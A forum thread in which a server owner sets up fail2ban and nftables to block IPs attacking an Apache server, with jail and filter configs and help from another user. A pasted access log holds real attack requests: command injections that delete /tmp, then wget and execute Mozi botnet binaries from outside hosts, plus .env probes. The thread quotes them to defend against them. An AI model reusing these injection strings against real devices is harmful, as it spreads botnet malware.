[Solved] Banning IPs in Apache using fail2ban

Message

lyallp · Post by **lyallp** » Mon Jun 07, 2021 4:31 am

I have managed to get fail2ban configured and running.
The fail2ban log file shows that an IP is a candidate for banning and logs that it is already banned.
However, Apache continues to receive requests from said IP.
I am using ipset and my jail is configured as...

Code: Select all

[apache-auth]

enabled  = true
port     = http,https
logpath  = /var/log/apache2/error_log
findtime = 86400
bantime  = -1
maxretry = 5

with a filter as follows (whoops, wrong copy/paste in previous edit, fixed now)

Code: Select all

[Definition]
 
badagents = 360Spider|ZmEu|Auto Spider 1.0|zgrab/[0-9]*\.[0-9a-zA-Z]*|Wget\(.*\)|MauiBot.*|AspiegelBot.*|SemrushBot.*|PHP/.*
 
ignoreregex = ^<HOST>.*"GET /olde-distfiles.*" (200|301) .*$
              ^<HOST>.*"GET /cgi-bin/GenerateRSS.py.*" 200 .*$

failregex = ^<HOST> -.*"(GET|POST|HEAD).*HTTP.*(?:%(badagents)s)"$
	    ^<HOST> -.*".*" 401 .*$
            ^.+auth_basic:error.*client <HOST>:.*$

The 2nd is apache access_log format, 3rd filter line is in apache error_log format, so the filter works on either. I am only interested in multiple login failures (at this time)

Kernel version 5.10.27
Apache version 2.4.46
fail2ban version 0.11.2
nftables version 0.9.8

Any assistance, such that Apache does not even receive the requests from the banned IP, would be appreciated.
Requests for additional info, welcomed.

lyallp · Post by **lyallp** » Mon Jun 07, 2021 9:56 am

I have setup iptables. Still no go.
Ditched iptables and am looking at nftables.
Will report back when I get nftables set up with fail2ban.

lyallp · Post by **lyallp** » Wed Jun 09, 2021 8:31 am

Using nftables, configured as instructed at https://wiki.meurisse.org/wiki/Fail2Ban, I have the firewall (nftables) blocking IP's as determined by fail2ban.

Goodbye IP 89.248.165.182 which has been performing a dictionary attack on my apache server for the last few days, assuming my server is a Cisco router.

Fail2ban notes it as having failed login multiple times (as per my initial post) and bans the IP for a while. Unbaning it eventually, but it will be re-banned if the IP continues it's attempt.

This should reduce the size of my Apache access and error logs considerably. Can you tell I am a newbie at this?

wouzer · Post by **wouzer** » Fri Jun 11, 2021 7:22 am

Hi, I have a gentoo server with apache and fail2ban running for some time.
What do your logs have to say? /var/log/fail2ban.log and /var/log/apache2/yoursite_error.log?

Also I wonder why you have set you bantime to -1 and your findtime on 86400. Find time is the time window for maxretry and shouldn't exeed bantime as far as I know.
try:

bantime=86400
maxretry=3
findtime=10m

lyallp · Post by **lyallp** » Fri Jun 11, 2021 7:33 am

Thanks for pointing that out, I have settings in [DEFAULT] and then in the [apache-auth] jail.
I quoted the jail, not the defaults, which had been mentioned somewhere else on the net.

My jail now has a findtime of 10m, bantime of 12h and a maxretry of 5.
In other words, if someone fails basic authentication 5 times within 10 minutes, they are banned for 12 hours.

I do not have authentication on my 'olde-distfiles' directory, but everything else requires basic authentication. Hence, there is no fail2ban log entry for this url as there is no login failure.

My only jail simply looks for 400 or 401 entries and has expressions which work with either error or access log format.

The two sample logs, below, are corresponding, you can see the rows in the access log and the corresponding row in the fail2ban log.

My access log looks like (prior to me updating my jail)

Code: Select all

193.56.29.108 - - [11/Jun/2021:03:44:06 +0930] "GET /.env HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:07 +0930] "POST / HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:07 +0930] "GET /core/.env HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:08 +0930] "POST / HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:09 +0930] "GET /app/.env HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:10 +0930] "POST / HTTP/1.1" 401 445
49.89.16.119 - - [11/Jun/2021:04:26:55 +0930] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 401 445
62.210.88.212 - - [11/Jun/2021:04:28:53 +0930] "GET http://104.149.194.78:80/ HTTP/1.1" 401 445
121.4.181.178 - - [11/Jun/2021:05:18:06 +0930] "GET / HTTP/1.1" 401 459
203.159.170.16 - - [11/Jun/2021:05:34:26 +0930] "GET /assets/jquery-file-upload/ HTTP/1.1" 401 445
31.210.20.100 - - [11/Jun/2021:05:35:33 +0930] "GET /cgi-bin/jarrewrite.sh" 404 255
189.127.145.184 - - [11/Jun/2021:05:38:16 +0930] "GET / HTTP/1.1" 401 445
161.35.136.97 - - [11/Jun/2021:06:16:08 +0930] "POST /fb16/fre.php HTTP/1.1" 401 445
31.210.20.100 - - [11/Jun/2021:07:05:36 +0930] "POST /storfs-asup HTTP/1.1" 400 285
159.65.24.210 - - [11/Jun/2021:08:33:25 +0930] "GET / HTTP/1.1" 401 445
1.15.175.155 - - [11/Jun/2021:09:03:40 +0930] "GET /olde-distfiles HTTP/1.1" 301 337
1.15.175.155 - - [11/Jun/2021:09:04:16 +0930] "GET /olde-distfiles HTTP/1.1" 301 337
1.15.175.155 - - [11/Jun/2021:09:04:32 +0930] "GET /olde-distfiles/ HTTP/1.1" 200 96230
188.150.66.117 - - [11/Jun/2021:09:09:40 +0930] "GET / HTTP/1.1" 401 445
91.134.183.114 - - [11/Jun/2021:09:29:54 +0930] "GET /.env HTTP/1.1" 401 445
91.134.183.114 - - [11/Jun/2021:09:29:55 +0930] "POST / HTTP/1.1" 401 445
27.213.172.153 - - [11/Jun/2021:09:39:21 +0930] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://27.213.172.153:59604/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 401 440
192.241.219.22 - - [11/Jun/2021:11:34:43 +0930] "GET / HTTP/1.1" 401 445
52.188.206.167 - - [11/Jun/2021:11:50:10 +0930] "HEAD /robots.txt HTTP/1.0" 401 -
185.202.2.147 - - [11/Jun/2021:12:16:16 +0930] "\x03" 400 285
180.242.19.234 - - [11/Jun/2021:13:18:18 +0930] "GET / HTTP/1.1" 401 445
188.244.218.206 - - [11/Jun/2021:13:52:05 +0930] "GET / HTTP/1.1" 401 445
157.230.224.245 - - [11/Jun/2021:15:18:45 +0930] "GET /images/Nxrs4tAtO/HCw4_2FQ7o69dmQEodXU/_2Fua56jJgWqt8tN1Tx/0M9Tus5G1nAOe_2BJflcrm/2nz3T7AxG_2Fd/YnZ7Cn6A/zq1HlKYZhiFyQLgflmvIbb1/yQL2MK3UaK/00uQsiMnxrcs4C9gN/xpGuwRLuq6tH/7YwEr.avi HTTP/1.1" 401 445
193.118.53.202 - - [11/Jun/2021:15:58:08 +0930] "GET / HTTP/1.1" 401 445
18.184.155.204 - - [11/Jun/2021:16:46:05 +0930] "GET /olde-distfiles HTTP/1.1" 301 337
18.184.155.204 - - [11/Jun/2021:16:46:06 +0930] "GET /olde-distfiles/ HTTP/1.1" 200 2870030

My corresponding fail2ban log looks like (startup now, after tweaking jail settings)

Code: Select all

2021-06-11 17:10:23,912 fail2ban.server         [32747]: INFO    Starting Fail2ban v0.11.2
2021-06-11 17:10:23,912 fail2ban.server         [32747]: INFO    Daemon started
2021-06-11 17:10:23,912 fail2ban.observer       [32747]: INFO    Observer start...
2021-06-11 17:10:23,947 fail2ban.jail           [32747]: INFO    Creating new jail 'apache-auth'
2021-06-11 17:10:23,948 fail2ban.jail           [32747]: INFO    Jail 'apache-auth' uses poller {}
2021-06-11 17:10:23,948 fail2ban.jail           [32747]: INFO    Initiated 'polling' backend
2021-06-11 17:10:23,951 fail2ban.filter         [32747]: INFO      maxRetry: 5
2021-06-11 17:10:23,951 fail2ban.filter         [32747]: INFO      findtime: 600
2021-06-11 17:10:23,951 fail2ban.actions        [32747]: INFO      banTime: 43200
2021-06-11 17:10:23,951 fail2ban.filter         [32747]: INFO      encoding: UTF-8
2021-06-11 17:10:23,952 fail2ban.filter         [32747]: INFO    Added logfile: '/var/log/apache2/access_log' (pos = 0, hash = 408352de277690312d01ddba24fc2f7c300d330c)
2021-06-11 17:10:23,952 fail2ban.jail           [32747]: INFO    Jail 'apache-auth' started

snip
fail2ban logs with my old settings (findtime huge, bantime -1), just to show what I see when things get found.

Code: Select all

2021-06-11 03:44:06,671 fail2ban.filter         [23039]: INFO    [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:06
2021-06-11 03:44:07,274 fail2ban.filter         [23039]: INFO    [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:07
2021-06-11 03:44:07,876 fail2ban.filter         [23039]: INFO    [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:07
2021-06-11 03:44:09,079 fail2ban.filter         [23039]: INFO    [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:08
2021-06-11 03:44:09,682 fail2ban.filter         [23039]: INFO    [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:09
2021-06-11 03:44:10,131 fail2ban.actions        [23039]: NOTICE  [apache-auth] Ban 193.56.29.108
2021-06-11 03:44:10,285 fail2ban.filter         [23039]: INFO    [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:10
2021-06-11 04:26:55,589 fail2ban.filter         [23039]: INFO    [apache-auth] Found 49.89.16.119 - 2021-06-11 04:26:55
2021-06-11 04:28:53,742 fail2ban.filter         [23039]: INFO    [apache-auth] Found 62.210.88.212 - 2021-06-11 04:28:53
2021-06-11 05:18:06,727 fail2ban.filter         [23039]: INFO    [apache-auth] Found 121.4.181.178 - 2021-06-11 05:18:06
2021-06-11 05:34:27,178 fail2ban.filter         [23039]: INFO    [apache-auth] Found 203.159.170.16 - 2021-06-11 05:34:26
2021-06-11 05:38:17,283 fail2ban.filter         [23039]: INFO    [apache-auth] Found 189.127.145.184 - 2021-06-11 05:38:16
2021-06-11 06:16:09,421 fail2ban.filter         [23039]: INFO    [apache-auth] Found 161.35.136.97 - 2021-06-11 06:16:08
2021-06-11 07:05:36,412 fail2ban.filter         [23039]: INFO    [apache-auth] Found 31.210.20.100 - 2021-06-11 07:05:36
2021-06-11 08:33:26,328 fail2ban.filter         [23039]: INFO    [apache-auth] Found 159.65.24.210 - 2021-06-11 08:33:25
2021-06-11 09:09:40,333 fail2ban.filter         [23039]: INFO    [apache-auth] Found 188.150.66.117 - 2021-06-11 09:09:40
2021-06-11 09:29:55,090 fail2ban.filter         [23039]: INFO    [apache-auth] Found 91.134.183.114 - 2021-06-11 09:29:54
2021-06-11 09:29:55,693 fail2ban.filter         [23039]: INFO    [apache-auth] Found 91.134.183.114 - 2021-06-11 09:29:55
2021-06-11 09:39:22,429 fail2ban.filter         [23039]: INFO    [apache-auth] Found 27.213.172.153 - 2021-06-11 09:39:21
2021-06-11 11:34:43,391 fail2ban.filter         [23039]: INFO    [apache-auth] Found 192.241.219.22 - 2021-06-11 11:34:43
2021-06-11 11:50:10,606 fail2ban.filter         [23039]: INFO    [apache-auth] Found 52.188.206.167 - 2021-06-11 11:50:10
2021-06-11 12:16:16,657 fail2ban.filter         [23039]: INFO    [apache-auth] Found 185.202.2.147 - 2021-06-11 12:16:16
2021-06-11 13:18:18,679 fail2ban.filter         [23039]: INFO    [apache-auth] Found 180.242.19.234 - 2021-06-11 13:18:18
2021-06-11 13:52:05,279 fail2ban.filter         [23039]: INFO    [apache-auth] Found 188.244.218.206 - 2021-06-11 13:52:05
2021-06-11 15:18:45,667 fail2ban.filter         [23039]: INFO    [apache-auth] Found 157.230.224.245 - 2021-06-11 15:18:45
2021-06-11 15:58:09,251 fail2ban.filter         [23039]: INFO    [apache-auth] Found 193.118.53.202 - 2021-06-11 15:58:08

wouzer · Post by **wouzer** » Fri Jun 11, 2021 8:06 am

Hi,
For the bad guys trying to acces non existend scripts you will need the apache-noscript filter and for the 400 errors you might want the apache-nohome. Just enable them in your /etc/fail2ban/jail.d/custom.conf

You also might want apache-badbots and apache-overflow

Test if they are actualy running with:

Code: Select all

fail2ban-client status

[/code]

lyallp · Post by **lyallp** » Fri Jun 11, 2021 8:17 am

Thanks for any and all feedback.

I thought I would catch non-existant cgi scripts with authentication being required on my cgi scripts directory. It appears to be not so.

Code: Select all

<Directory "/var/www/localhost/cgi-bin">
    AllowOverride AuthConfig
    AuthType Basic
    AuthName "Login to Lyalls-PC Server"
    AuthBasicProvider file
    AuthUserFile  /usr/local/apache/localhost/.htpasswd
    AuthGroupFile /usr/local/apache/localhost/.htgroups
    Require valid-user
</Directory>

I ignore localhost IP addresses with an ignoreip in the [DEFAULT] section of the Jail config script. (127.0.0.1,192.168.0.0/16).

Code: Select all

[DEFAULT]
ignoreip = 127.0.0.1/8 10.0.0.0/24 192.168.0.0/16

The bad bots are covered by the badagents expression in the filter, are they not?

Code: Select all

[Definition]
 
badagents = 360Spider|ZmEu|Auto Spider 1.0|zgrab/[0-9]*\.[0-9a-zA-Z]*|Wget\(.*\)|MauiBot.*|AspiegelBot.*|SemrushBot.*|PHP/.*
 
ignoreregex = ^<HOST>.*"GET /olde-distfiles.*" (200|301) .*$
              ^<HOST>.*"GET /cgi-bin/GenerateRSS.py.*" 200 .*$

failregex = ^<HOST> -.*"(GET|POST|HEAD).*HTTP.*(?:%(badagents)s)"$
	    ^<HOST> -.*".*" 40[01] .*$
            ^.+auth_basic:error.*client <HOST>:.*$

wouzer · Post by **wouzer** » Fri Jun 11, 2021 9:26 am

Your initial complain was that the bad guys didn't end up blocked by the firewall. That does only happen if they actualy try to login and fail for five times with your current setup.
With the apache-noscript jail active bad guys requesting /wp-login.php on your non-wordpress website are also blocked. The apache-nohome blocks the guys trying to acces non existend pages like /wp-admin/. The apache-badbots blocks scrapers.

Please let us know if you got it working.

lyallp · Post by **lyallp** » Fri Jun 11, 2021 9:28 am

As far as I can see, things work, using ntp to examine the tables/chains and the logs of fail2ban.